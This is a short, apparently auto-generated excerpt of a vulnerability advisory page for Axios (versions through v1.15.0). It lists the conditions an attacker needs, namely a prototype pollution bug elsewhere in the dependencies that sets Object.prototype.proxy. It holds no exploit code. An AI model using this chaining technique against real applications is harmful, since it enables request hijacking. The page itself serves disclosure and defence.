- inputA prototype pollution vulnerability must exist elsewhere in the application's dependency tree (e.g., in `qs`, `minimist`, `lodash`, `body-parser`) that allows an attacker to set `Object.prototype.proxy`
- configThe application must use Axios to make HTTP requests (any version v0.x through v1.15.0)
Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
3News mentions
0No linked articles in our index yet.